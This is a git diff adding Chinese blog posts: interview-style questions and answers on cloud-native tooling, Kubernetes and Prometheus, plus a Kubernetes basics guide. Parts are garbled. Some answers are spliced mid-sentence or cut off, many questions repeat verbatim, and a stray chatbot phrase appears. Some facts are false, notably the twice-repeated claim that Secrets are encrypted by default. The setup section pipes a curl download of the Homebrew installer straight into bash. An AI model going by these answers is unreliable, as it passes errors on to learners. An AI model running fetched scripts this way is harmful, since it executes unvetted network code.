CI/CD等,用于自动化构建、测试和部署应用程序,并提供自动化回滚和版本控制等功能。 +> 自动化监控工具:如Prometheus、Grafana等,用于自动监控应用程序的各个组件的运行状况,并提供实时的性能指标和告警。 +>自动化配置管理工具:如Ansible和SaltStack等,用于自动化管理和配置应用程序的各个组件,包括容器、服务器、负载均衡器等。 +>自动化安全工具:如OpenSCAP和Clair等,用于自动化扫描和检测应用程序的安全漏洞和风险,并提供自动化修复和防御措施等功能。 + +2-Kubernetes的主要功能和组件是什么? + - 答案:Kubernetes是一个开源的容器编排工具,可以自动化容器部署、扩展和管理。主要组件包括Master节点(包括API Server、Scheduler、Controller Manager、etcd存储等)和Worker节点(包括kubelet、kube-proxy、容器运行时等)。 + +3-请描述持续集成/持续部署(CI/CD)的概念和优点。 + - 答案:持续集成(CI)是指开发人员将代码合并到主分支中的频繁行为,配合自动化测试,旨在快速发现并解决问题。持续部署(CD)是指自动化地将是什么? + + - 答案:Kubernetes是一个开源的容器编排工具,可以自动化容器部署、扩展和管理。主要组件包括Master节点(包括API Server、Scheduler、Controller Manager、etcd存储等)和Worker节点(包括kubelet、kube-proxy、容器运行时等)。 + +4-请描述持续集成/持续部署(CI/CD)的概念和优点。 + - 答案:持续集成(CI)是指开发人员将代码合并到主分支中的频繁行为,配合自动化测试,旨在快速发现并解决问题。持续部署(CD)是指自动化地将 + + +5-什么是Docker,为什么它对云原生技术如此重要? + - 答案:Docker是一个开源的容器化技术,能够将应用及其依赖打包成一个轻量级、可移植的容器,然后在任何支持Docker的机器上运行。对于云原生应用来说,Docker提供了一种标准化、隔离的环境,能够简化应用的部署、扩展和管理,这是构建和运行云原生应用的基础。 + +6-请解释什么是服务网格,如Istio,以及它的主要功能? + - 答案:服务网格是一种基础设施层,用于处理服务间通信的复杂性。它提供了一种统一的方式来连接、保护、监控和管理微服务。Istio是一种流行的服务网格解决方案,它的主要功能包括负载均衡、服务间认证和加密、故障注入和容错等。 + +7-在微服务架构中,如何处理服务间的通信问题? + - 答案:在微服务架构中,服务间的通信通常通过HTTP/REST或gRPC等协议实现。我们可以使用服务网格或API Gateway等技术来管理和控制服务间通信。同时,我们也需要考虑服务间通信的安全、性能 + + +8-在云原生应用中,怎样处理状态管理? + - 答案:在云原生应用中,尤其是在使用容器和无服务器架构的环境下,应用常常是无状态的,这使得它们可以很容易地进行扩展和更新。状态信息,如用户会话和数据,通常会存储在外部服务,如数据库或缓存服务中。 + +9-描述一下什么是云原生DevOps,并解释它与传统DevOps的区别? + - 答案:云原生DevOps指的是在云环境中实践DevOps的方法,它采用了如容器化、微服务、持续集成和持续部署等云原生技术。相较于传统的DevOps,云原生DevOps更加注重自动化、弹性和可观察性,能够更好地支持大规模、复杂的现代应用。 + +10-请解释一下对Istio服务网格中的Envoy代理的理解,并描述一下它的作用? + - 答案:Envoy是一个开源的边缘和服务代理,为服务网格提供了关键功能。在Istio中,每个服务实例前面都有一个Envoy代理,在服务实例之间进行通信时,所有的请求都会先经过Envoy代理。Envoy代理可以处理服务发现、负载均衡、故障恢复、度量和监控数据的收集,以及路由、认证、授权等功能。当然可以。 + + +11-问题:请解释什么是容器化以及它的优点。 +期待的答案:容器化是一种轻量级的虚拟化技术,它将应用程序及其所有依赖项打包在一起,形成标准化的单元,可以在任何环境中一致地运行。它的优点包括:可移植性、快速启动、资源效率高、隔离性好,可以实现持续集成和持续部署,便于微服务架构的实现。 + +12-问题:解释一下什么是Kubernetes,以及它如何帮助管理容器化的应用? + +期待的答案:Kubernetes是一个开源的、可扩展的容器编排平台,用于自动化容器化应用程序的部署、扩展和管理。Kubernetes可以自动化许多日常任务,例如负载均衡、网络配置、应用程序的升级和降级、故障检测和恢复、扩缩容等,从而使开发者和运维人员可以更加专注于他们的主要工作。 + +13-问题:请简述微服务架构的优点和缺点。 +期待的答案:微服务架构将复杂的应用程序分解为一组小型、独立的服务,每个服务都具有自己的进程并通过API进行通信。优点包括:每个服务可以独立部署和扩展,更易于组织团队并实现并行开发,易于使用多种技术栈。缺点包括:分布式系统的复杂性增加,如网络延迟、分布式数据管理,需要更强的运维能力来维持系统的稳定性。 + + + +14-问题:解释一下Docker和Kubernetes之间的关系。 +期待的答案:Docker是一种容器化技术,可以把应用程序及其依赖项打包在一起,形成可以在任何环境中一致运行的容器。而Kubernetes是一个容器编排平台,用于管理和调度这些容器。简单地说,Docker提供了创建和运行容器的能力,而Kubernetes负责管理这些容器。 + + +15-描述一下Kubernetes的服务、部署、副本集、Pod的理解,并解释他们之间的关系,并写出简单的yaml +- 答案:Pod是Kubernetes中部署容器的最小单元,每个Pod可以包含一个或多个紧密关联的容器。副本集保证了指定数量的Pod副本运行在集群中。部署是对副本集的一层封装,提供了滚动更新和版本回滚等高级特性。服务是定义了一种访问一组Pod的策略,它可以提供一个固定的IP地址和DNS名,以及负载均衡。 + +基本的Kubernetes组件: + +**Pod**:Pod是Kubernetes的最小部署单位。它是一组一个或多个紧密相关的容器,共享网络和存储空间。 + +**副本集**:副本集确保在任何时候都有指定数量的Pod副本在运行。它可以自动创建新的Pod来替换失败或删除的Pod。 + +**部署**:部署是副本集的上层概念,它提供了声明式的更新Pod和副本集的方法。例如,当更新应用程序的版本时,部署会创建新的副本集并逐步将流量转移到新的Pod,同时缩小旧副本集的规模。 + +**服务**:服务是Kubernetes的抽象方式,用于将逻辑定义为一组运行相同任务的Pod,并通过网络调用它们。服务可以以轮询的方式将网络请求分发到Pod集合,为Pod提供了可发现性和基于负载的网络路由。 + +以上的Kubernetes组件之间的关系如下:部署管理副本集,副本集管理Pod,服务则是访问Pod的接口。 + +一个简单的Kubernetes部署和服务的yaml文件如下: + +部署(Deployment): +```yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: nginx-deployment +spec: + replicas: 3 + selector: + matchLabels: + app: nginx + template: + metadata: + labels: + app: nginx + spec: + containers: + - name: nginx + image: nginx:1.7.9 + ports: + - containerPort: 80 +``` +在这个例子中,我们定义了一个部署,要求运行3个副本。 + +**ConfigMap**:ConfigMap 是用于存储非机密的配置信息。ConfigMap 允许将配置信息解耦从容器应用,以便容器应用更易于移植。 + +**Secret**:Secret 对象用于存储敏感信息,如密码、OAuth 令牌和 ssh 密钥。放在 Secret 里的信息默认是加密的,将在 Pod 调度到节点后解密。 + + **Volume**:Kubernetes Volume 的生命周期独立于 Pod。Volume 生命周期的长短决定了数据的持久性。 + + **Namespace**:Namespace 是对一组资源和对象的抽象集合,常用于将系统服务与用户项目分开,这样可以避免命名冲突。 + +这些都是为了更好地支持容器化应用程序并优化其部署和运行。 + + + +16- 在微服务架构中,如何实现服务发现? + +答案:服务注册和服务查找,注册中心 + +17-**问题**:简要描述一下Prometheus是什么,以及它的主要用途。 + +**答案**:Prometheus是一个开源的系统监控和警告工具包,它原始设计用于在容器和微服务架构中收集和处理指标。Prometheus可以用于收集各种度量信息,包括但不限于硬件和操作系统指标、应用程序性能数据、以及业务相关的自定义指标。 + +18-**问题**:Prometheus有哪些核心组件,它们各自的作用是什么? + +**答案**:Prometheus的核心组件主要有:Prometheus Server(主要负责数据采集和存储)、Exporters(用于暴露常见服务的指标,以供Prometheus Server抓取)、Pushgateway(用于短期的、临时的作业,它们无法长期存在以让Prometheus Server主动抓取)、Alertmanager(处理Alerts,并将其推送给用户)、以及客户端库(提供简单的API来帮助用户定义他们自己的指标)。 + +Prometheus Server:Prometheus Server 是主要的数据采集和存储组件,它定期从各种数据源(包括 Exporters 和客户端库)中抓取指标数据,并将其存储在本地的时间序列数据库中。Prometheus Server 还提供了查询语言和 Web UI,以帮助用户查询和可视化指标数据。 + +Exporters:Exporters 是用于暴露常见服务的指标的组件,它们运行在被监控的系统中,并将系统的各种指标数据暴露出来,以供 Prometheus Server 抓取。Prometheus 社区提供了各种 Exporters,包括 Node Exporter(用于监控主机的各种指标)、Blackbox Exporter(用于监控网络服务的可用性和性能)、MySQL Exporter(用于监控 MySQL 数据库的各种指标)等等。 + +Pushgateway:Pushgateway 是用于短期的、临时的作业的组件,这些作业无法长期存在以让 Prometheus Server 主动抓取。Pushgateway 允许这些作业将其指标数据推送到 Pushgateway 中,然后由 Prometheus Server 定期从 Pushgateway 中抓取数据。 + +Alertmanager:Alertmanager 是用于处理 Alerts 的组件,它可以从 Prometheus Server 中接收告警信息,并将其分类、处理和推送给用户。Alertmanager 还提供了灵活的告警路由和抑制规则,以帮助用户更好地管理和处理告警信息。 + +客户端库:客户端库是用于帮助用户定义自己的指标和采集数据的库。Prometheus 社区提供了各种语言的客户端库,包括 Go、Java、Python 等等。 + + +19-**问题**:Prometheus如何收集数据? + +**答案**:Prometheus主要通过HTTP协议周期性地从配置的目标位置拉取数据。这种机制被称为“pull model”。这些位置通常是各种服务或应用程序暴露的HTTP端点(通常为/metrics),数据格式为Prometheus可理解的格式。 + +20-**问题**:请描述一下Prometheus的数据存储方式。 + +**答案**:Prometheus将所有收集到的指标数据存储在本地的磁盘中,并且以时间序列的方式进行存储。数据结构为:一个时间戳和一个标签集配对的浮点值。Prometheus的存储是一个时间序列数据库。 + +21-**问题**:Prometheus 如何处理告警? + +**答案**:Prometheus通过Alertmanager组件来处理告警。用户可以在Prometheus中定义告警规则,一旦满足这些规则,Prometheus就会将警报发送到Alertmanager。Alertmanager则负责对这些警报进行去重、分组,并将警报路由到正确的接收器,如电子邮件、PagerDuty等。 + +22-**问题**:能描述一下Prometheus和OpenTelemetry之间的关系吗? + +**答案**:OpenTelemetry是一个开源项目,目标是为观察性提供一组统一的、高效的、自动化的API和工具。它提供了追踪、度量和日志数据的标准定义,以及将数据发送到任何后端的工具。Prometheus可以作为OpenTelemetry的后端之一,收集和处理由OpenTelemetry生成的指标数据。 + +23-**问题**:如果我有一个服务,我希望让Prometheus来监控它,我应该怎么做? + +**答案**:首先,需要在服务中暴露一个/metrics HTTP端点,然后在此端点上提供Prometheus可以理解的度量数据。可以使用Prometheus提供的客户端库来帮助生成这些度量数据。然后,需要在Prometheus的配置文件中添加这个服务作为一个新的抓取目标。一旦配置文件更新,Prometheus就会开始定期从新服务的/metrics端点拉取数据。 + +24-**问题**:Prometheus如何处理高可用性(High Availability)? +**答案**:为了提供高可用性,可以运行多个相同实例。 + + +25-**问题**:什么是Prometheus的导出器(exporter)?举一个例子。 + +**答案**:Prometheus的导出器是用来暴露一些不原生支持Prometheus的服务的指标的。例如,Node Exporter是一个常用的导出器,它能够暴露出主机级别的指标,比如CPU、内存、磁盘IO、网络IO等指标。 + +26-**问题**:Prometheus如何支持服务发现? + +**答案**:Prometheus支持多种服务发现机制,例如静态配置、DNS、Consul等。在Kubernetes环境中,Prometheus可以自动发现服务,无需用户手动配置,Prometheus将会周期性地拉取Kubernetes API获取服务列表,然后自动更新抓取目标。 + +27-**问题**:如何配置Prometheus以在一个应用的多个实例之间分发负载? + +**答案**:Prometheus的一个实例可以配置多个抓取目标。这样,Prometheus实例会轮流从每个目标抓取指标。也可以运行多个Prometheus实例,并将的应用实例分布到不同的Prometheus实例中,从而分发负载。 + +28-**问题**:如何在Prometheus中设置告警? + +**答案**:在Prometheus中设置告警需要在Prometheus的配置文件中定义告警规则。告警规则是基于PromQL表达式的,当这个表达式的结果超过了定义的阈值,Prometheus就会发送警报到Alertmanager。 + +29-**问题**:在一个高流量的生产环境中,会如何优化Prometheus的性能? + +**答案**:对于高流量的生产环境,可以考虑以下优化措施:a) 根据需要调整抓取间隔,避免过度负载;b) 使用更强大的硬件(CPU、内存和存储);c) 使用高性能的存储系统,如SSD,以提高存储的写入和查询性能;d) 对于大规模的监控目标,可以使用分片,将目标分配给多个Prometheus实例;e) 对于长期存储和全局视图,可以使用Thanos或Cortex等解决方案。 + +30-**问题**:如果需要监控多个不同的集群,会怎么设计监控系统? + +**答案**:对于多集群监控,可以为每个集群部署一个Prometheus实例,用于监控该集群内的服务。 + +31-**问题**:Prometheus是如何存储数据的? +**答案**:Prometheus在本地文件系统中存储时间序列数据,使用一种自定义的、高效的格式。每个时间序列都以块的形式写入,每块包含了一个固定时间范围内的样本。当数据写入磁盘时,Prometheus也会在内存中维护一个索引,以方便查询。 + +32-**问题**:在Prometheus中,什么是抓取(scraping)? + +**答案**:在Prometheus中,抓取是指从监控目标(比如应用服务或者导出器)获取指标数据的过程。Prometheus定期抓取每个监控目标,并将获取的样本添加到其本地数据库中。 + +33-**问题**:Prometheus如何进行数据压缩? + +**答案**:Prometheus使用了几种技术来压缩数据。首先,Prometheus使用Delta编码来存储时间戳,因为相邻的时间戳通常非常接近。其次,Prometheus使用Gorilla压缩算法来存储样本值。Gorilla是一种专为时间序列数据设计的高效压缩算法。 + +34- **问题**:简要描述一下Prometheus是什么,以及它的主要用途。 + +**答案**:Prometheus是一个开源的系统监控和警告工具包,它原始设计用于在容器和微服务架构中收集和处理指标。Prometheus可以用于收集各种度量信息,包括但不限于硬件和操作系统指标、应用程序性能数据、以及业务相关的自定义指标。 + +35-**问题**:Prometheus有哪些核心组件,它们各自的作用是什么? + +**答案**:Prometheus的核心组件主要有:Prometheus Server(主要负责数据采集和存储)、Exporters(用于暴露常见服务的指标,以供Prometheus Server抓取)、Pushgateway(用于短期的、临时的作业,它们无法长期存在以让Prometheus Server主动抓取)、Alertmanager(处理Alerts,并将其推送给用户)、以及客户端库(提供简单的API来帮助用户定义他们自己的指标)。 + +36-**问题**:Prometheus如何收集数据? + + **答案**:Prometheus主要通过HTTP协议周期性地从配置的目标位置拉取数据。这种机制被称为“pull model”。这些位置通常是各种服务或应用程序暴露的HTTP端点(通常为/metrics),数据格式为Prometheus可理解的格式。 + +37-**问题**:请描述一下Prometheus的数据存储方式。 + +**答案**:Prometheus将所有收集到的指标数据存储在本地的磁盘中,并且以时间序列的方式进行存储。数据结构为:一个时间戳和一个标签集配对的浮点值。Prometheus的存储是一个时间序列数据库。 + +38-**问题**:Prometheus和Grafana有什么关系? + +**答案**:Grafana是一个开源的度量分析和可视化套件。虽然Prometheus提供了一种表达式浏览器来可视化数据,但是Grafana提供了更强大和灵活的图形选项。Prometheus可以作为Grafana的数据源,使用户可以使用Grafana创建图表、仪表盘等来可视化Prometheus收集的数据。 + +39- **问题**:Prometheus使用哪种查询语言? + +**答案**:Prometheus使用PromQL,即Prometheus查询语言。PromQL允许用户在Prometheus数据库中选择和聚合时间序列数据,并生成新的结果。 + +以下是一个示例 PromQL 查询: + +```text +sum(rate(http_requests_total{job="myapp", status="200"}[5m])) by (instance) +``` +这个查询的含义是:在过去的 5 分钟内,统计 myapp 服务中返回状态码为 200 的 HTTP 请求的速率,并按照 instance(即服务实例)进行聚合。 + + +40-**问题**:Prometheus的“Pull”模型和传统的“Push”模型有什么优点和缺点? + +**答案**:Prometheus采用Pull模型,优点是能更好地适应动态的、短暂的服务,如在Kubernetes上运行的服务。Prometheus可以定期从服务中提取指标,而无需知道服务何时启动或停止。Pull模型也使得服务实例的生命周期管理和监控解耦,简化了操作。另外,对于可能会产生大量数据的监控目标,Pull模型能够通过调整抓取频率来防止DDoS自己的监控系统。 + +但Pull模型也有缺点,比如对于分布在多个网络区域的服务,如果所有的服务都由一个中心位置的Prometheus来抓取,可能会有网络延迟或者防火墙访问的问题。另外,短暂的作业,例如批处理任务,可能在Prometheus抓取之间开始和结束,因此可能无法被Prometheus正确抓取。 + +41-**问题**:如何扩展Prometheus? + +**答案**:由于Prometheus设计上是无状态的,用户可以简单地通过运行多个Prometheus服务器来实现扩展。但是这样做并不能实现全局视图或长期存储,为此,社区提供了Cortex、Thanos等解决方案。例如,Thanos可以提供全局查询视图,无限制的历史数据,并且可以将数据存储在像Amazon S3或Google Cloud Storage这样的对象存储服务。 + +42-**问题**:Prometheus能否进行长期的数据存储? + +**答案**:默认情况下,Prometheus并不直接支持长期存储,它的本地存储仅旨在满足短期(例如:15天)的数据保留需求。然而,通过接入远程存储系统,比如Thanos或Cortex,可以实现长期的数据存储。 + + +43- **问题**:Prometheus如何处理高可用性(High Availability)? + +**答案**:为了提供高可用性,可以运行多个相同配置的Prometheus服务器。这些Prometheus实例会独立地抓取相同的目标。这意味着,如果其中一个实例宕机,其他实例还可以继续提供监控数据。然而,这并不提供完整的HA解决方案,因为这些实例并不共享数据。完整的HA解决方案通常需要配合其他存储后端,如Thanos或Cortex。 + + +44- **问题**:什么是Prometheus的导出器(exporter)?举一个例子。 + +**答案**:Prometheus的导出器是用来暴露一些不原生支持Prometheus的服务的指标的。例如,Node Exporter是一个常用的导出器,它能够暴露出主机级别的指标,比如CPU、内存、磁盘IO、网络IO等指标。 + +45-**问题**:Prometheus如何支持服务发现? + +**答案**:Prometheus支持多种服务发现机制,例如静态配置、DNS、Consul等。在Kubernetes环境中,Prometheus可以自动发现服务,无需用户手动配置,Prometheus将会周期性地拉取Kubernetes API获取服务列表,然后自动更新抓取目标。 + +46-**问题**:如何配置Prometheus以在一个应用的多个实例之间分发负载? + +**答案**:Prometheus的一个实例可以配置多个抓取目标。这样,Prometheus实例会轮流从每个目标抓取指标。也可以运行多个Prometheus实例,并将的应用实例分布到不同的Prometheus实例中,从而分发负载。 + +47- **问题**:如何在Prometheus中设置告警? + + **答案**:在Prometheus中设置告警需要在Prometheus的配置文件中定义告警规则。告警规则是基于PromQL表达式的,当这个表达式的结果超过了定义的阈值,Prometheus就会发送警报到Alertmanager。 + +48-**问题**:如何理解Prometheus的抓取间隔和超时时间的配置? + +**答案**:Prometheus的抓取间隔决定了Prometheus从抓取目标收集数据的频率,而超时时间则决定了Prometheus在放弃抓取请求之前等待多久。抓取间隔和超时时间的配置取决于具体的监控需求和目标系统的性能。一般情况下,应该确保超时时间小于抓取间隔。 + + +49- **问题**:在一个高流量的生产环境中,会如何优化Prometheus的性能? + +**答案**:对于高流量的生产环境,可以考虑以下优化措施:a) 根据需要调整抓取间隔,避免过度负载;b) 使用更强大的硬件(CPU、内存和存储);c) 使用高性能的存储系统,如SSD,以提高存储的写入和查询性能;d) 对于大规模的监控目标,可以使用分片,将目标分配给多个Prometheus实例;e) 对于长期存储和全局视图,可以使用Thanos或Cortex等解决方案。 + +50- **问题**:如果需要监控多个不同的集群,会怎么设计监控系统? + +**答案**:对于多集群监控,可以为每个集群部署一个Prometheus实例,用于监控该集群内的服务。然后,使用Thanos或Cortex等工具来提供全局视图和长期存储。这样可以减少网络延迟,增加数据的局部性,并且在单个集群出现问题时,不会影响到其他集群的监控。 + +51-**问题**:当Prometheus的磁盘空间即将满时,会如何处理? + +**答案**:Prometheus默认会在磁盘空间用尽之前删除旧的数据。可以配置数据保留策略,例如保留的数据量或者保留的时间长度。如果需要保留更多数据,可能需要扩展磁盘空间,或者使用像Thanos或Cortex这样的远程存储解决方案。 + +52-**问题**:怎么理解Prometheus的label? + +**答案**:在Prometheus中,标签(label)是用来标识时间序列的键值对。标签使Prometheus的数据模型非常强大和灵活,因为它们可以用来过滤和聚合数据。例如,可以使用标签来表示一个服务的名称,一个实例的ID,或者一个地理位置等。 + +53-**问题**:在一个高流量的生产环境中,会如何优化Prometheus的性能? +**答案**:对于高流量的生产环境,可以考虑以下优化措施:a) 根据需要调整抓取间隔,避免过度负载;b) 使用更强大的硬件(CPU、内存和存储);c) 使用高性能的存储系统,如SSD,以提高存储的写入和查询性能;d) 对于大规模的监控目标,可以使用分片,将目标分配给多个Prometheus实例;e) 对于长期存储和全局视图,可以使用Thanos或Cortex等解决方案。 + +54-**问题**:如果需要监控多个不同的集群,会怎么设计监控系统? + +**答案**:对于多集群监控,可以为每个集群部署一个Prometheus实例,用于监控该集群内的服务。然后,使用Thanos或Cortex等工具来提供全局视图和长期存储。这样可以减少网络延迟,增加数据的局部性,并且在单个集群出现问题时,不会影响到其他集群的监控。 + +55-**问题**:当Prometheus的磁盘空间即将满时,会如何处理? + +**答案**:Prometheus默认会在磁盘空间用尽之前删除旧的数据。可以配置数据保留策略,例如保留的数据量或者保留的时间长度。如果需要保留更多数据,可能需要扩展磁盘空间,或者使用像Thanos或Cortex这样的远程存储解决方案。 + +56-**问题**:怎么理解Prometheus的label? + +**答案**:在Prometheus中,标签(label)是用来标识时间序列的键值对。标签使Prometheus的数据模型非常强大和灵活,因为它们可以用来过滤和聚合数据。例如,可以使用标签来表示一个服务的名称,一个实例的ID,或者一个地理位置等。 + + +57- **问题**:Prometheus是如何存储数据的? + +**答案**:Prometheus在本地文件系统中存储时间序列数据,使用一种自定义的、高效的格式。每个时间序列都以块的形式写入,每块包含了一个固定时间范围内的样本。当数据写入磁盘时,Prometheus也会在内存中维护一个索引,以方便查询。 + +58- **问题**:在Prometheus中,什么是抓取(scraping)? + +**答案**:在Prometheus中,抓取是指从监控目标(比如应用服务或者导出器)获取指标数据的过程。Prometheus定期抓取每个监控目标,并将获取的样本添加到其本地数据库中。 + +59-**问题**:Prometheus如何进行数据压缩? + +**答案**:Prometheus使用了几种技术来压缩数据。首先,Prometheus使用Delta编码来存储时间戳,因为相邻的时间戳通常非常接近。其次,Prometheus使用Gorilla压缩算法来存储样本值。Gorilla是一种专为时间序列数据设计的高效压缩算法。 + +60-**问题**:在一个分布式环境中,Prometheus如何保证数据的一致性? + +**答案**:Prometheus本身并不直接支持分布式一致性。每个Prometheus服务器独立运行,独立抓取和存储数据。为了在分布式环境中提供一致的视图,可以使用如Thanos或Cortex等工具,这些工具可以将来自多个Prometheus服务器的数据聚合起来,并提供一致的查询接口。 + +"github.com/prometheus/client_golang/prometheus" 是 Prometheus 客户端库的 Go 语言版本。这个库用于向 Prometheus 中导出应用程序的度量信息。使用这个库,可以在的 Go 程序中创建和管理度量,然后 Prometheus 服务可以抓取这些度量。 + +这个库提供了多种类型的度量,例如: + +- Counter:一个简单的累积指标,表示一个数值只能增加(或者在重启时重置)的度量标准,例如请求的总数。 +- Gauge:一个可以任意增加和减少的值,例如当前的内存使用情况。 +- Histogram 和 Summary:这两种类型都提供了对值分布进行采样和统计的能力,可以用来测量请求的响应时间等。 + +通过在 Go 程序中使用这个库,可以更轻松地将 Prometheus 与应用程序集成,从而在运行时获取有关其性能和行为的详细信息。 diff --git a/_posts/2023-9-10-test-markdown.md b/_posts/2023-9-10-test-markdown.md new file mode 100644 index 000000000000..139d294a9a69 --- /dev/null +++ b/_posts/2023-9-10-test-markdown.md @@ -0,0 +1,696 @@ +--- +layout: post +title: Kubernetes基础 +subtitle: +tags: [Kubernetes] +comments: true +--- + +# 部署 +> 集群安装、配置和管理,工作负载和调度,服务和网络,存储,故障排除 +> 了解 kubectl 命令行工具的使用,熟悉 Pods,Deployments,Services,以及其他 Kubernetes API 对象。 + + +## 1.集群安装 + +在 macOS 系统上,安装和运行 Kubernetes 的一种常用方法是使用 Docker Desktop 或者 Minikube。 + +以下是使用 Docker Desktop 和 Minikube 的方法: + +**使用 Docker Desktop:** + +1. 首先,需要下载并安装 [Docker Desktop](https://www.docker.com/products/docker-desktop)。 + +2. 安装完成后,打开 Docker Desktop 的 Preferences,在 "Kubernetes" 标签页中勾选 "Enable Kubernetes",然后点击 "Apply & Restart"。这将启动一个单节点的 Kubernetes 集群。 + +3. 在命令行中,使用 `kubectl` 命令检查集群状态。如果一切正常,以下命令应该能返回集群状态: + +```bash +kubectl cluster-info +``` + +```bash + Kubernetes control plane is running at https://127.0.0.1:6443 + CoreDNS is running at https://127.0.0.1:6443/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy +``` + +**使用 Minikube:** + +1. 安装 [Homebrew](https://brew.sh/),如果您尚未安装。在 Terminal 中运行以下命令: + + ```bash + /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)" + ``` + +2. 使用 Homebrew 安装 kubectl: + + ```bash + brew install kubectl + ``` + +3. 使用 Homebrew 安装 Minikube: + + ```bash + brew install minikube + ``` + +4. 启动 Minikube: + + ```bash + minikube start + ``` + +5. 使用 kubectl 检查集群状态: + + ```bash + kubectl cluster-info + ``` + +## 2.配置和管理 + +问题1:请解释Kubernetes中ConfigMaps和Secrets的主要区别。 + +答案:ConfigMaps允许将配置项分离出来,不与应用代码混在一起,而Secrets主要用于存储敏感信息,如密码、密钥等。二者最大的区别是,Secrets中的数据在传输和存储时都是加密的,而ConfigMaps则不是。 + + +问题2:如何使用Helm在Kubernetes中管理复杂应用? + +答案:Helm是Kubernetes的包管理器,类似于Linux的apt或yum。它可以让用户更加方便地部署和管理Kubernetes应用。Helm提供了一种称为Chart的打包格式,用户可以将一个复杂的应用,包括其所有的依赖服务、配置等,打包为一个Chart。然后用户可以一键部署这个Chart到任何Kubernetes集群。同时,Helm也提供了升级、回滚、版本管理等功能,使得管理Kubernetes应用更为方便。 + +问题3:在Kubernetes中,如何将敏感数据(例如密码、密钥)从应用代码中分离出来? + +答案:在Kubernetes中,我们通常使用Secrets来管理敏感数据。Secrets可以用来存储和管理敏感信息,如密码、OAuth 令牌、ssh key等。在Pod中,Secrets可以被以数据卷或者环境变量的形式使用. + + +## 3.工作负载和调度 + +问题:请解释Kubernetes中的Pod、Deployment和Service之间的关系。 + +答案:Pod是Kubernetes的最小部署单元,它包含一个或多个容器。Deployment负责管理Pods,提供升级(rollingUpdate)和回滚(kubectl rollout)功能。Service则是一种抽象,提供了一种方法来访问一组Pods的网络接口,无论它们如何移动或扩展。 + +## 4.服务和网络 + +问题:简述Kubernetes中的网络策略(Network Policies)的工作原理。 + +答案:网络策略在Kubernetes中提供了基于Pod的网络隔离。默认情况下,Pods之间没有访问限制,但当我们定义了网络策略后,只有符合网络策略规则的流量才能到达Pod。 + +在 Kubernetes 中,网络策略(Network Policy)定义了怎样的流量可以进入和离开 Pods。使用网络策略,可以为一个或多个 Pods 定义白名单或黑名单的访问规则。以下是 Kubernetes 网络策略中的主要概念和策略类型: + +策略类型: +Ingress: 控制流入 Pod 的流量。 +Egress: 控制从 Pod 流出的流量。 + +选择器: +podSelector: 定义哪些 Pod 受到网络策略的影响。 +namespaceSelector: 根据命名空间选择器选择流量来源或目的地。 +ipBlock: 允许或拒绝特定的 IP 地址范围。 + +端口和协议: +可以为指定的端口和协议(如 TCP 或 UDP)设置策略。 + +默认行为: + +当没有网络策略应用于 Pod 时,默认行为是允许所有流量。 +一旦为 Pod 定义了任何 Ingress 网络策略,默认行为变为拒绝所有进入流量,除非它与策略规则匹配。 +对于 Egress 规则,逻辑与 Ingress 相同。 + +以下是一个简单的网络策略示例,该策略允许从带有标签 role=frontend 的所有 Pod 到带有标签 app=myapp 的 Pod 的 Ingress 流量: + + +```yaml +apiVersion: networking.k8s.io/v1 +kind: NetworkPolicy +metadata: + name: my-network-policy +spec: + podSelector: + matchLabels: + app: myapp + policyTypes: + - Ingress + ingress: + - from: + - podSelector: + matchLabels: + role: frontend +``` +要使网络策略生效,的 Kubernetes 集群必须运行支持网络策略的网络插件,如 Calico、Cilium、Weave 等。 + +## 5.存储 + +问题:在Kubernetes中,Persistent Volume和Persistent Volume Claim有何区别? + +答案:Persistent Volume (PV)是集群中的一部分存储,已经由管理员预先配置好。Persistent Volume Claim (PVC)则是用户对这些存储资源的请求。用户可以在PVC中指定所需的存储大小以及访问模式。 + + +## K8s生产环境 +建立一个高可用(High Availability,HA)的 Kubernetes 集群需要考虑多个因素,包括主控节点的冗余、数据存储的冗余、负载均衡器的设置,等等。以下是一个基本的步骤概述: + +### 安装 + +#### 大致安装思路 + +**1. 准备硬件和环境:** + +- 至少三台主控节点(master node),用以运行 Kubernetes 控制面板的组件,如 kube-apiserver、kube-scheduler 和 kube-controller-manager。(有的时候,Master节点也会Kubelet kube-Proxy)以及一个ETCDcluster 。master 是控制节点。Node 节点用来跑Pod 。有多台主控节点可以在节点故障时保证控制面板的可用性。 +- 一台或多台工作节点(worker node),用以运行应用的 Pods。Node 部署Kubelet 和KubeProxy +- 一个或多个负载均衡器,用以分发请求到多个主控节点。 + +在 Kubernetes 架构中,`kube-apiserver`、`kube-scheduler` 和 `kube-controller-manager` 是运行在控制平面的主要组件,各自的职责如下: + +> **kube-apiserver**:它是 Kubernetes 集群的前端,提供了 REST 接口,所有的管理操作和命令都是通过 kube-apiserver 来处理的。kube-apiserver 验证用户请求,处理这些请求,然后更新相应的对象状态或者返回查询结果。另外,它也负责在集群各个组件间进行数据协调和状态同步。 + +> **kube-scheduler**:当创建一个 Pod 时,kube-scheduler 负责决定这个 Pod 在哪个 Node 上运行。kube-scheduler 会基于集群的当前状态和 Pod 的需求,如资源请求、数据位置、工作负载、策略等因素,进行调度决策。 + +> **kube-controller-manager**:在 Kubernetes 中,Controller 是用来处理集群中的各种动态变化的。例如,如果设置了某个 Deployment 的副本数为 3,那么 Replication Controller 会确保始终有 3 个 Pod 在运行。如果少于 3 个,Controller 会创建更多的 Pod,如果多于 3 个,它会删除多余的 Pod。kube-controller-manager 是这些 Controller 的主运行环境,它运行了包括 Replication Controller、Endpoint Controller、Namespace Controller 和 ServiceAccount Controller 等多个核心的 Controller。 + +以上三个组件都是 Kubernetes 集群控制平面的重要组成部分,协同工作以保证集群的正常运行。 + + +**2. 安装和配置 Kubernetes 软件:** + +- 在所有节点上安装 Kubernetes 需要的软件,包括 docker、kubelet、kubeadm 和 kubectl。 +- 使用 kubeadm 在第一台主控节点上初始化 Kubernetes 集群。 +- 使用 kubeadm join 命令在 + +**3. 添加其他的控制平面节点:** + +- 在其他主控节点上执行与初始化第一个节点类似的步骤,使用 `kubeadm join` 命令以将其添加到集群。这些主控节点也会运行 Kubernetes 控制平面,以确保在任何节点故障时控制面板的可用性。 + +**4. 添加工作节点:** + +- 在工作节点上使用 `kubeadm join` 命令以将它们添加到集群。这些节点将会运行实际的应用负载。 + +**5. 配置网络插件:** + +- 为了让 Pod 之间能够相互通信,需要在集群中部署一个 Pod 网络插件。 + +#### 具体安装思路 + +以下是使用 `kubeadm` 安装高可用 Kubernetes 集群的步骤: + +**1.1.1 